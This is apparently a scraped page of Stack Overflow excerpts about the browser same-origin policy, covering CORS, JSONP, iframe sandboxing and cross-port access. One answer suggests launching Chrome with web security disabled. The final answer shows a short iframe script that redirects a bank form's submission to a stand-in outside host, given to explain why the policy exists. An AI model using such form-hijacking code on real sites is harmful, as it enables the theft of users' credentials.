same-origin-policy

How can I sandbox untrusted user-submitted JavaScript content?

六月ゝ 毕业季﹏ 提交于 2019-11-28 15:10:08
问题 I need to serve user-submitted scripts on my site (sort of like jsfiddle). I want the scripts to run on visitors browsers in a safe manner, isolated from the page they are served on. Since the code is submitted by users, there is no guarantee it is trustworthy. Right now I can think of three options: Serve the user-submitted content in an iframe from a different domain , and rely on the same-origin policy. This would require setting up an additional domain which I'd like to avoid if possible.

Jquery .load Same origin policy

限于喜欢 提交于 2019-11-28 13:41:00
Is there anyway i can fool the Jquery .load Same origin policy? The closest i've come is with this tutorial . But that only deals with rss feeds. The same origin policy is a browser thing, not a jQuery thing. JSON-P is the usual way to work around this and is not limited to RSS feeds. It is even documented in the jQuery documentation (see the example that uses Flickr) 来源: https://stackoverflow.com/questions/2453981/jquery-load-same-origin-policy

How to resolve CORS ie same origin policy in angularjs

浪子不回头ぞ 提交于 2019-11-28 12:39:23
问题 I am developing a mobile application in angularjs where I have to make call to web service. But, when I am making the call with $http.get it is giving the following error. XMLHttpRequest cannot load http://example.com/First_Step.json. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://127.0.0.1:8020' is therefore not allowed access. My function for this is as follows: $scope.firstStepClick = function() { appSvc.selectedItem = "firstStep"; $rootScope

Why are AJAX requests limited to same domain?

笑着哭i 提交于 2019-11-28 12:11:16
Something I find really confusing, is why are AJAX requests limited to the same domain? What is the reasoning behind this? I don't see any problem with requesting files from external locations, also servers making XMLHTTP requests seem to get and post to external locations fine. Clement Herreman Picture this : You come on my fabulous website www.halfnakedgirls.com. You have fun watching what looks like technical documentation on human physiology, but behind your back, some lines of JavaScript are executing some request to another domain, let's say www.yourpaypallike.com. Requests like http:/

Same origin host, different ports in JS

。_饼干妹妹 提交于 2019-11-28 12:03:31
for the two hosts http://1.com.local/ http://2.com.local:8080/ how can I use document.domain to enable DOM-Manipulation between the two? If i set both to com.local it doesn't work, because the 2nd host then gets the domain com.local:8080 . When I try to set the domain of the first one to com.local:8080 manually, the port is just snipped of and the domain remains com.local . How can I enable DOM-Manipulation in this situation? You cannot. Sorry - same origin is including the ports You can use CORS and ajax to copy some stuff from one server to the other if you enable this. 来源: https:/

Is there a way to bypass Javascript / jQuery's same origin policy for local access?

大憨熊 提交于 2019-11-28 10:10:17
Trying to use ajax , getJSON , and functions like that to fetch an external URL from a local (non-server) development computer. Is there a way to bypass the same origin policy, so that I can test locally, instead of having to upload to a server? Here's the simple answer: chrome --disable-web-security From the source code (chrome_switches.h): // Don't enforce the same-origin policy. (Used by people testing their sites.) const char kDisableWebSecurity[] = "disable-web-security"; I wanted to use jquery.js to send AJAX calls to a Google Apps python server running on port 8080. Just for testing, I

Why Cross-Domain AJAX call is not allowed?

夙愿已清 提交于 2019-11-28 09:59:25
Except for JSONP why is same domain policy is being followed? The Same Origin Policy has been implemented for security reasons ; quoting a relevant sentence from wikipedia : This mechanism bears a particular significance for modern web applications that extensively depend on HTTP cookies to maintain authenticated user sessions, as servers act based on the HTTP cookie information to reveal sensitive information or take state-changing actions. A strict separation between content provided by unrelated sites must be maintained on client side to prevent the loss of data confidentiality or integrity

How to enable CORS on Firefox?

喜你入骨 提交于 2019-11-28 08:55:52
Can somebody please tell me how I allow CORS on firefox? I easily managed it on Chrome and IE, but I am totally failing at it with Firefox. I edited the following about:config entry security.fileuri.strict_origin_policy = false This attempt has been posted several times here and is told on other sites too, but it has no effect. I read the Mozilla guide to Same-origin-policies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS but it just explains CORS and the related topics. A workaround to enable it on FF is not listed. I would really appreciate a definitive solution. ps:

How can I prevent JavaScript in an iFrame to access properties of the outer site, even if the iFrame's content comes from the same origin?

时间秒杀一切 提交于 2019-11-28 08:25:08
问题 Basically I want to have an iFrame which always restricts it's content as if it comes from a different domain, even if the content comes from the same origin. Is there any way to do this? 回答1: This will hide window.parent in the child frame/window, but not the top property. BUT the window.parent property is STILL accessible till the end of the onload event of the child window/frame. <html> <head> <style type="text/css"> #wrapper {width:1000px;height:600px;} </style> <script type="text

Simple example for why Same Origin Policy is needed

瘦欲@ 提交于 2019-11-28 06:19:45
I've read about Same Origin Policy , but for a better understanding of the matter: could anyone please write a simple code (in any language) that will demonstrate an attack that SOP stops? How was it possible to attack someone before SOP came about? Dennis <iframe id="bank" src="https://yourbank.com"></iframe> <script> window.onload = function() { document.getElementById('bank').contentWindow.document.forms[0].action = 'http://example.com'; }; </script> The Javascript code changes the form's action property (the destination, in a matter of speaking), so when you submit the form, you send your